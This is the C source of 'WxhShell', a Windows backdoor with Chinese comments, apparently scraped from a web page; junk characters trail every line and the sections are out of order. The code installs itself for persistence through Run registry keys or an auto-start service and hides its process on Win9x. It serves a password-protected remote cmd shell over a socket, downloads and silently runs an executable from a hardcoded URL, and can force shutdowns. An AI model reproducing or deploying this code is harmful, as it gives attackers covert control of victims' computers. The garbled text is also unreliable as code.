    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [SJ3FZ<  
    if(Boot(SHUTDOWN)) U'*~Ju  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JIL(\d  
    else { [$]qJ~kz  
    closesocket(wsh); yVfF *nG  
    ExitThread(0); b=+3/-d  
    } :yxP3e%rp  
    break;  \uG^w(*)  
    } 'u}OeS"f  
  // 获取shell #V9do>Cu%  
  case 's': { ;suY  
    CmdShell(wsh); Fa0Fl}L  
    closesocket(wsh); BK]5g[   
    ExitThread(0); ,,8'29yEq  
    break; >lkjoEVQ  
  } YgV"*~  
  // 退出 *)bh6b=7  
  case 'x': { 6qR5A+|;  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); l3N '@GO  
    CloseIt(wsh); UX24*0`\~  
    break; Qa#Em1co  
    } v`&>m '  
  // 离开 +OaBA>Jh9  
  case 'q': { *JArR1J  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); QC Jf   
    closesocket(wsh); P" aw--f(  
    WSACleanup(); n,#o6ali>  
    exit(1); v8U&{pD,  
    break; @Zzg^1Ilpu  
        } o*5b]XWw  
  } NCp]!=uM;  
  } 1VA%xOURh  
h'B0rVQia>  
  // 提示信息 wBCBZs$H  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0ZJrK\K;  
} ;"2(e7ir  
  } W~& QcSWqD  
Iu ve~ugO  
  return; 5Z>+NKQ  
} w""  
Rhzcm`"  
// shell模块句柄 PNpH)'C|  
int CmdShell(SOCKET sock) OzV|z/R2'  
{ 2,rjy|R`  
STARTUPINFO si; fBLR  
ZeroMemory(&si,sizeof(si)); _#yd0E  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6$G@>QCBS  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =k2"1f~e  
PROCESS_INFORMATION ProcessInfo; tC&jzN"  
char cmdline[]="cmd"; gcF V$  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); y^:6D(SR  
  return 0; J';XAB }  
} i&Me7=~  
"uU[I,h  
// 自身启动模式 :Oc&{z?q  
int StartFromService(void) * oru;=D@8  
{ T2}ccnDi  
typedef struct S %(R9N|  
{ ]Czq A c  
  DWORD ExitStatus; s/OXZ<C|  
  DWORD PebBaseAddress; fj[tm  
  DWORD AffinityMask; C-;}a%c"  
  DWORD BasePriority; sX#7;,Ft7  
  ULONG UniqueProcessId; fqZ+CzH  
  ULONG InheritedFromUniqueProcessId; y:dwx*Q9I  
}   PROCESS_BASIC_INFORMATION; 4.'KT;[_1/  
hJ0m;j&4y  
PROCNTQSIP NtQueryInformationProcess;  DZ&AwF  
1~9AQ[]w8  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; {-,^3PI\  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; J!*Pg<  
UE/N-K)`  
  HANDLE             hProcess; 9Jp "E5Ql)  
  PROCESS_BASIC_INFORMATION pbi; p&(~c/0  
{y7,n  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8A|i$#.&  
  if(NULL == hInst ) return 0; 0%5x&vx'S  
qYR+qSAJP  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); !Mk:rO-L  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); `-)Fx<e  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); O7\ )C]A  
0 ;ov^]  
  if (!NtQueryInformationProcess) return 0; m&Lc."  
U-3uT&m*9.  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); kEs=N(  
  if(!hProcess) return 0; g@7j<UY  
|A@Gch fd  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }V % b  
O5p]E7/e  
  CloseHandle(hProcess); r&-I r3[  
u(|k/~\  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); g_w4}!|  
if(hProcess==NULL) return 0; iiZK^/P$  
:cK;|{f  
HMODULE hMod; T4{&@b 0*  
char procName[255]; v]HiG_C  
unsigned long cbNeeded; ^6 sT$set  
tr\Vr;zd  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); WtTwY8HC  
c=p@l<)  
  CloseHandle(hProcess); '3@WF2a  
`'`T'+0  
if(strstr(procName,"services")) return 1; // 以服务启动 fE/8;v!=  
gaJIc^O  
  return 0; // 注册表启动 t9()?6H\  
} +xlxhF  
^50/.Z >  
// 主模块 oa?eK  
int StartWxhshell(LPSTR lpCmdLine) PaFJw5f  
{ N+PW,a  
  SOCKET wsl; 4 1TB  
BOOL val=TRUE; TPds)osZT  
  int port=0; f.=4p^  
  struct sockaddr_in door; <z|? C  
Al`[Iu&  
  if(wscfg.ws_autoins) Install(); )gCHwu  
$E4W{ad2jW  
port=atoi(lpCmdLine); ?Ib/}JST  
\6Ze H  
if(port<=0) port=wscfg.ws_port; [,a O*7 N  
AAdRuO{l1  
  WSADATA data; oA~m*|  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; z[S,hD\w  
>{4pEy  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   As (C8C<  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -i'T!Qg1  
  door.sin_family = AF_INET; Rhx7eU#&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); G6eC.vU]j  
  door.sin_port = htons(port); EBM\p+x&  
%~ecrQ;  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3_T'TzQ u  
closesocket(wsl); R\:C|/6f  
return 1; AEnS_Q  
} =O)JPo&iwY  
Xt= &  
  if(listen(wsl,2) == INVALID_SOCKET) { n/8Kb.Vf  
closesocket(wsl); 9rao&\eH  
return 1; #G.3a]p}"  
} 9zO3KT2  
  Wxhshell(wsl); dY\"'LtF  
  WSACleanup(); fsjA7)/  
]QT0sGl  
return 0; |7`Vw Z  
[l#WS  
} h0.Fstf]  
&"tce6&  
// 以NT服务方式启动 "}SERC7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 1wc -v@E  
{ 38q@4U=aiw  
DWORD   status = 0; 6>=>Yj  
  DWORD   specificError = 0xfffffff; 3^Yk?kFE  
- Ez|  
  serviceStatus.dwServiceType     = SERVICE_WIN32; M2@q{RiS  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 8nnkv,wa  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; zK-hNDFL{  
  serviceStatus.dwWin32ExitCode     = 0; U[A*A^$c}  
  serviceStatus.dwServiceSpecificExitCode = 0; @5?T]V g  
  serviceStatus.dwCheckPoint       = 0; z)VIbEy  
  serviceStatus.dwWaitHint       = 0; G'Q7(c  
y9*H  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  +rT(  
  if (hServiceStatusHandle==0) return; #dpt=  
Yip9K[  
status = GetLastError(); YQ]H3GA  
  if (status!=NO_ERROR) `90v~O F  
{ b(SV_.4,'  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; @&Nvb.5nT  
    serviceStatus.dwCheckPoint       = 0; @Qs-A^.  
    serviceStatus.dwWaitHint       = 0; 4o*V12_r'4  
    serviceStatus.dwWin32ExitCode     = status; =O;SXzgE  
    serviceStatus.dwServiceSpecificExitCode = specificError; DYWC]*  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); "q`%d_  
    return; CD&m4^X5D  
  } `5 6QX'?  
,#E5/'c`  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; okcl-q  
  serviceStatus.dwCheckPoint       = 0; @qC:% |>  
  serviceStatus.dwWaitHint       = 0; Oq2H>eW`f  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); c}QJ-I   
} ^J RTi'v  
? w?k-v  
// 处理NT服务事件,比如:启动、停止 <=inogf  
VOID WINAPI NTServiceHandler(DWORD fdwControl) pMB=iS<E  
{ S!q}Pn  
switch(fdwControl) u.[JYZ  
{ ^97ZH)Ww  
case SERVICE_CONTROL_STOP: .]e6TFsrO  
  serviceStatus.dwWin32ExitCode = 0; =CVT8(N*  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 'YR5i^:t  
  serviceStatus.dwCheckPoint   = 0; !p&'so^-W  
  serviceStatus.dwWaitHint     = 0; &JlR70gdHi  
  { JKT+ q*V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); spx;QLo  
  } :'dc=C  
  return; b e/1- =m  
case SERVICE_CONTROL_PAUSE: 0w['jh|,  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; lkZC?--H  
  break; x!~OK::o8  
case SERVICE_CONTROL_CONTINUE: Rdg0WT*;j  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; t lERis  
  break; 8-5 jr_*  
case SERVICE_CONTROL_INTERROGATE: B%@!\ D#  
  break; "|'`'W  
}; 62x< rph  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4)iEj  
} 0:Y`#0qK  
R$fIb}PDr  
// 标准应用程序主函数 wDhcHB  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Cj1UD;  
{ E@jl: -*E  
,;P`Mf'YC  
// 获取操作系统版本 G^ZkY  
OsIsNt=GetOsVer(); ;]M67ma7C  
GetModuleFileName(NULL,ExeFile,MAX_PATH); /Z " 4[  
lq8ko@  
  // 从命令行安装 *6D%mrK  
  if(strpbrk(lpCmdLine,"iI")) Install(); '(pd k  
m=.7f9  
  // 下载执行文件 ~}0hN]*G  
if(wscfg.ws_downexe) { !J=;Z9  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) cNr][AzU@  
  WinExec(wscfg.ws_filenam,SW_HIDE); e~s7ggg2k  
} N^yO- xk  
kw^Dp[8X  
if(!OsIsNt) { y]YS2^  
// 如果时win9x,隐藏进程并且设置为注册表启动 <oaBh)=7  
HideProc(); inv{dg/2  
StartWxhshell(lpCmdLine); :iQ^1S` pH  
} i)=89?8  
else 7k t7^V<  
  if(StartFromService()) YeExjC  
  // 以服务方式启动 )~blx+\y  
  StartServiceCtrlDispatcher(DispatchTable); !+45=d 5  
else UE,~_hp  
  // 普通方式启动 W3V{Xk|  
  StartWxhshell(lpCmdLine); v*'iWHCl,  
h,'mN\6t  
return 0; KpbZnW}g  
} dI ZTLb"a  
Y\g90  
}M9DqZ;I  
&Rl3y\ r  
=========================================== ^Q)gsJY|I  
/,!7jF:  
8/>wgY  
spU!t-n67  
_czbUl  
#1jtprc  
" AeY$.b  
w-'D*dOi  
#include <stdio.h> zA'gb'MmW  
#include <string.h> H7tQ#  
#include <windows.h> cJHABdK-  
#include <winsock2.h> x^#6>oOR  
#include <winsvc.h> V^Mf4!A(y  
#include <urlmon.h> FU (}=5n  
K[#v(<)  
#pragma comment (lib, "Ws2_32.lib") 5&-j{J0iV  
#pragma comment (lib, "urlmon.lib") Oa.f~|  
Vyq#p9Q  
#define MAX_USER   100 // 最大客户端连接数 0?6 If+AC  
#define BUF_SOCK   200 // sock buffer TJyH/ C  
#define KEY_BUFF   255 // 输入 buffer @tE&<[e  
re ]Ste  
#define REBOOT     0   // 重启 /Oq)3fU e  
#define SHUTDOWN   1   // 关机 \f /!  
]{Mci]H6T  
#define DEF_PORT   5000 // 监听端口 &Hlm{FHU  
'&.)T 2Kw  
#define REG_LEN     16   // 注册表键长度 +gbX}jF0%  
#define SVC_LEN     80   // NT服务名长度 y~== waZw  
F=-uDtQ <N  
// 从dll定义API J$6-c' 8  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); KdOh'OrT9.  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); }@rg5$W  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Xq8uY/j  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ?AeHVQ :C  
.%x"t>]  
// wxhshell配置信息 X zi'Lu `  
struct WSCFG { 4 |zdXS  
  int ws_port;         // 监听端口 i ll-%OPeg  
  char ws_passstr[REG_LEN]; // 口令 3bbp>7V!  
  int ws_autoins;       // 安装标记, 1=yes 0=no Q(~3pt  
  char ws_regname[REG_LEN]; // 注册表键名 5+e>+$2  
  char ws_svcname[REG_LEN]; // 服务名 ZdE>C   
  char ws_svcdisp[SVC_LEN]; // 服务显示名 z +3<$Z  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ~w Zl2I  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 rao</jN.9  
int ws_downexe;       // 下载执行标记, 1=yes 0=no M!eoe5  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" fOa6,  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 l^DINZU@  
B#HV20\?v  
}; 1*C:h g@  
Q)x?B]b-  
// default Wxhshell configuration u~$WH, P3  
struct WSCFG wscfg={DEF_PORT, %v5)s(Yu  
    "xuhuanlingzhe", rPRrx-A  
    1, [8,PO  
    "Wxhshell", ;EgzC^2e  
    "Wxhshell", 7%{R#$F  
            "WxhShell Service", GE%2/z p  
    "Wrsky Windows CmdShell Service", Cw 1 9y  
    "Please Input Your Password: ", 7IA3q{P  
  1, @bY('gC,  
  "http://www.wrsky.com/wxhshell.exe", 1|o$X  
  "Wxhshell.exe" aRbx   
    }; c]6V"Bo}A  
K1:a]aU?Iu  
// 消息定义模块 {*N^C@  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )8[ym/m  
char *msg_ws_prompt="\n\r? for help\n\r#>"; _ e6a8  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; HV ;;  
char *msg_ws_ext="\n\rExit."; u FMIY(vB  
char *msg_ws_end="\n\rQuit."; Yx6hA#7I  
char *msg_ws_boot="\n\rReboot..."; #:$O=@@?M  
char *msg_ws_poff="\n\rShutdown..."; 3AK(dC[ri  
char *msg_ws_down="\n\rSave to "; ;_iPm?Y8  
 VJ3hC[  
char *msg_ws_err="\n\rErr!"; L59bu/LfL  
char *msg_ws_ok="\n\rOK!"; `8,w[o oC2  
^Z2kq2}a  
char ExeFile[MAX_PATH]; Yrpxy.1=F5  
int nUser = 0; 4GVNw!V  
HANDLE handles[MAX_USER]; NUMi])HkN  
int OsIsNt; #Rc5c+/(  
5^>n5u/  
SERVICE_STATUS       serviceStatus; W}>=JoN^J  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ,*dzJT$k  
` K w7"  
// 函数声明 L!gDFZr  
int Install(void); ^;zWWg/d  
int Uninstall(void); B s,as  
int DownloadFile(char *sURL, SOCKET wsh); @F?=a*s"!  
int Boot(int flag); "IG+V:{ou  
void HideProc(void); h 'l^g%;  
int GetOsVer(void); ;-Ss# &  
int Wxhshell(SOCKET wsl); ]M3# 3Ha"  
void TalkWithClient(void *cs); j5\$[-';  
int CmdShell(SOCKET sock); >Rt9xP  
int StartFromService(void); YdI0E   
int StartWxhshell(LPSTR lpCmdLine); _R7 w?!t8  
B;!f<"a8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); t8& q9$  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); '&by3y5w-3  
, H2YpZk  
// 数据结构和表定义 x l0DN{PG  
SERVICE_TABLE_ENTRY DispatchTable[] = .Pw%DZ'  
{ iITp**l  
{wscfg.ws_svcname, NTServiceMain}, [9V]On  
{NULL, NULL} }>&KUl  
}; %9o+zg? RJ  
( KTnJZ  
// 自我安装 KFDS q"j  
int Install(void) /APcL5:=  
{ ,+._;[k  
  char svExeFile[MAX_PATH]; Q> 8pP\ho  
  HKEY key; $%PVJs  
  strcpy(svExeFile,ExeFile); k=/eM$":  
EfiU$ 8y  
// 如果是win9x系统,修改注册表设为自启动 \DA$6w\\  
if(!OsIsNt) { \k@Z7+&7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { mJC3@V s  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); hVP IHQt  
  RegCloseKey(key); 8$vK5Dnn8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \M(* =5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7zDiHac  
  RegCloseKey(key); MJ\[Dt  
  return 0; :gI.l1  
    } c8A`<-\MfB  
  } Lw*]EG|?  
} ?znSx}t  
else { ?a.+j8pbGg  
DjHp+TyT  
// 如果是NT以上系统,安装为系统服务 +.Bmkim  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); .Q&rfH3  
if (schSCManager!=0) :0 ^s0l  
{ V 0{tap}  
  SC_HANDLE schService = CreateService vR>o}%`  
  ( H4<Nnd\   
  schSCManager, -<N&0F4|*  
  wscfg.ws_svcname, bJ3(ckhq  
  wscfg.ws_svcdisp, R,Oe$J<  
  SERVICE_ALL_ACCESS, .px:e)iW  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , uDuF#3 +"  
  SERVICE_AUTO_START, ^_>!B)  
  SERVICE_ERROR_NORMAL, Sm|(  
  svExeFile, +F@_Es<6  
  NULL, $.K?N@(W  
  NULL, IA*KaX2S<  
  NULL, Qv#]81i(1  
  NULL, &ak6zM  
  NULL 3qM Nl>>  
  ); 5/I_w0  
  if (schService!=0) >a>fb|r  
  { F u _@!K  
  CloseServiceHandle(schService); :tGYs8UK  
  CloseServiceHandle(schSCManager); +,flE= 5]s  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ?m"|QS!!K  
  strcat(svExeFile,wscfg.ws_svcname); hW 2.8f$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ?S#\K^  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 9 $l>\.6  
  RegCloseKey(key); n2ndjE$  
  return 0; Yx)o:#2  
    } \t.}-u<7{  
  } <$E6oZ  
  CloseServiceHandle(schSCManager); xtfRrX^  
} 3y`F<&sA  
} i|$z'HK;+  
R>)MiHcCg  
return 1; sQ1jrkm  
} Nhf~PO({&  
s ic$uT  
// 自我卸载 #V_GOy1-  
int Uninstall(void) 1'KishHK=  
{ .p@N:)W6  
  HKEY key; UuJjO^t  
a/:XXy |  
if(!OsIsNt) { f~M8A.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { grcbH  
  RegDeleteValue(key,wscfg.ws_regname); +]!lS7nsW  
  RegCloseKey(key); \7 a4uc  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { f}fsoDoQ=  
  RegDeleteValue(key,wscfg.ws_regname); X>l*v\F9  
  RegCloseKey(key); Nw<P bklz  
  return 0; 9%DT0.D}$j  
  } H7&xLYQ2  
} =nxKttmU0  
} v%91k  
else { XB\zkf_}Xc  
d/U."V}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Zk`#VH  
if (schSCManager!=0) tL(BpL'  
{ i@$*Csj\9*  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ?9KGnOVu  
  if (schService!=0) pB01J<@m  
  { aW;aA'!  
  if(DeleteService(schService)!=0) { (4+1lOd  
  CloseServiceHandle(schService); +!O- kd  
  CloseServiceHandle(schSCManager); FjKq%.=#  
  return 0; Y 62r  
  } :)c80`-E  
  CloseServiceHandle(schService); c@du2ICUc  
  } L\  j:  
  CloseServiceHandle(schSCManager); Pv){sYUh  
} yYTVXs`fVj  
} a(x?fa[D  
8l)  
return 1; kBsXfVs9  
} ?0vNEz[  
TSto9 $}*  
// 从指定url下载文件 G\~^&BAC  
int DownloadFile(char *sURL, SOCKET wsh) =>LZm+P  
{ T9jw X:n  
  HRESULT hr; sdr.u  
char seps[]= "/"; j\2[H^   
char *token; Spj9H?m  
char *file; P_Uutn~  
char myURL[MAX_PATH]; ( $d4:Ww  
char myFILE[MAX_PATH]; Sb"2Im>  
(B#(Z=  
strcpy(myURL,sURL); bkv/I{C>?  
  token=strtok(myURL,seps); .Q\\dESn"  
  while(token!=NULL) >FFVY{F  
  { 4rp6 C/i  
    file=token; u''BP.Y S  
  token=strtok(NULL,seps); q=0 pQ1>  
  } =,:K)  
a$}6:E  
GetCurrentDirectory(MAX_PATH,myFILE); X;EJ&g/  
strcat(myFILE, "\\"); 3M N  
strcat(myFILE, file); 3,$iG e  
  send(wsh,myFILE,strlen(myFILE),0); 0dt"ZSm  
send(wsh,"...",3,0); dR[o|r  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); z8iENECwj  
  if(hr==S_OK) O E|+R4M  
return 0; yazZw}};  
else l,y^HTc}7/  
return 1; 0k1MKzi Q  
Xb<)LHA~3  
} T`Hw49  
yN:>!SQ  
// 系统电源模块 zoXuFg  
int Boot(int flag) i+ic23$4M  
{ fsI`DjKi)  
  HANDLE hToken; @:gl:mc  
  TOKEN_PRIVILEGES tkp; 3yMt1 fy  
:?#cDyW)  
  if(OsIsNt) { l?/gW D^  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 3@HIpQM3  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); e7|d=W  
    tkp.PrivilegeCount = 1; 9|a)sb7/  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; % :tr  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 4K #^dJnC  
if(flag==REBOOT) { OfLM  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) GfNWP  
  return 0; ? ,V;f2c  
} g TD%4V  
else { u[J7Y  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~ i'C/[P  
  return 0; ULrbQ}"cva  
} ,s8&#1rJ-  
  } skSNzF7'  
  else { |{!Ns+'  
if(flag==REBOOT) { |nfH-JytV  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) )#mW7m9M#  
  return 0; U)b &zZc;  
} 6(sfpK'  
else { uTUa4 ^]*  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /Sh4pu"'  
  return 0; rl41# 6  
} ; ?j~8  
} fl!1AKSn@N  
'9Qd.q7s|b  
return 1; @Zh8 QI+  
} "SDsISWd  
eKS:7:X  
// win9x进程隐藏模块 ap{{(y&R  
void HideProc(void) C`z;,!58%  
{ #d$d&W~gE  
Q0_M-^~WT  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?WMi S]Q\  
  if ( hKernel != NULL ) 64;oB_  
  { =+k&&vOAn  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); $o{F  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);   -kV|  
    FreeLibrary(hKernel); (#CB q  
  } U8Cw7u2  
Py}!C@e  
return; t>m8iS>  
} /{49I,  
AW]("pt  
// 获取操作系统版本 mJ7 `.  
int GetOsVer(void) s= 3EBh  
{ ;e`D#khB  
  OSVERSIONINFO winfo; tOu90gu  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); bEEJVF0  
  GetVersionEx(&winfo); EXv\FUzo  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |F8;+nAVF#  
  return 1; WXRHG)nvL  
  else IiYuUN1D  
  return 0; l;"ub^AH  
} ghE?8&@ iq  
1e+h9|hGYw  
// 客户端句柄模块 w}]3jc84  
int Wxhshell(SOCKET wsl) Q-H =wJ4R  
{ 7"h=MB_  
  SOCKET wsh; @$K![]oD  
  struct sockaddr_in client; sPZV>Q:zY  
  DWORD myID; \" 5F;J  
 3D[:Rf[  
  while(nUser<MAX_USER) N9fUlXhR  
{ 0KNH=;d}  
  int nSize=sizeof(client); '_Hb}'sFI  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); kM6 EZ`mj  
  if(wsh==INVALID_SOCKET) return 1; H >@JfYZ0  
oj,Vi-TZ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); +J}k_'4&  
if(handles[nUser]==0) =1uj1.h  
  closesocket(wsh); XACEt~y  
else [hvig$L  
  nUser++; ;dpS@;v  
  } &?uzJx~  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); h}c6+@w&-  
^OGH5@"  
  return 0; T`(;;%  
} HY%6eUhj  
"pKGUM  
// 关闭 socket iNaC ZC  
void CloseIt(SOCKET wsh) 2#Q"@  
{ ~ 33@H  
closesocket(wsh); f;qKrw  
nUser--; AyI}LQm]u  
ExitThread(0); Fg}5V,  
} #L)4 |  
z; z'`A  
// 客户端请求句柄 }lQn]q  
void TalkWithClient(void *cs) njx\$,ruN  
{ *+1"S ]YF  
J6?_?XzToT  
  SOCKET wsh=(SOCKET)cs; Q& unA3  
  char pwd[SVC_LEN]; z 2EI"'4\9  
  char cmd[KEY_BUFF]; J*W;{Vty  
char chr[1]; ~{]m8a/ `6  
int i,j; @bVh?T0~F,  
c)P%O  
  while (nUser < MAX_USER) { )jQe K  
p<^/T,&I  
if(wscfg.ws_passstr) { MCO$>QL  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ZkV vL4yIK  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); HS7 G_  
  //ZeroMemory(pwd,KEY_BUFF); qI/r_  
      i=0; <45dy5!Tz  
  while(i<SVC_LEN) { nm%4L  
k-Hfip[ro  
  // 设置超时 VL,?91qwe  
  fd_set FdRead; C Wl95g  
  struct timeval TimeOut; 1)kl  
  FD_ZERO(&FdRead); yl]Cm?8  
  FD_SET(wsh,&FdRead); tS.b5$Q  
  TimeOut.tv_sec=8; d=u%"36y  
  TimeOut.tv_usec=0; sOtNd({  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); d'@H@  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 4!b'%)   
'rx,f  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'MM~ ~:  
  pwd=chr[0]; Jj _+YfIM  
  if(chr[0]==0xd || chr[0]==0xa) { LRlk9:QD>  
  pwd=0; oDiv9 jm  
  break; zyQEz#O   
  } K#pt8Q  
  i++; s/'hLkxI  
    } O5n] 4)<  
l4.@YYzbp.  
  // 如果是非法用户,关闭 socket <:}AC{I  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); IXk'?9  
} 4 Fc1 '  
J+*Y)k  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &=t(NI$  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~w}[ ._'#M  
38S&7>0@|q  
while(1) { -(,6w?  
K`Zb;R X  
  ZeroMemory(cmd,KEY_BUFF); -Ce4px?3  
V<I${i$]0  
      // 自动支持客户端 telnet标准   [ :(M<u`y>  
  j=0; &WV 9%fI  
  while(j<KEY_BUFF) { rnr8t]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?4||L8j2^  
  cmd[j]=chr[0]; ZpBH;{.,  
  if(chr[0]==0xa || chr[0]==0xd) { G~L#v AY  
  cmd[j]=0; a^1c _  
  break; :iC\#i]6  
  } H/I`c>Zn  
  j++; e-av@a3  
    } \ } Szb2  
W{/z-&  
  // 下载文件 C)kQi2T  
  if(strstr(cmd,"http://")) { vrDRSc6_  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); uzA'D~)P  
  if(DownloadFile(cmd,wsh)) D6:J*F&?  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); k.Nu(j"z  
  else {j@)sDM X  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZKL%rp_  
  } AWNd(B2o  
  else { ;MI<J>s  
X'4 Yofs  
    switch(cmd[0]) { SX,z J`"  
  a];g  
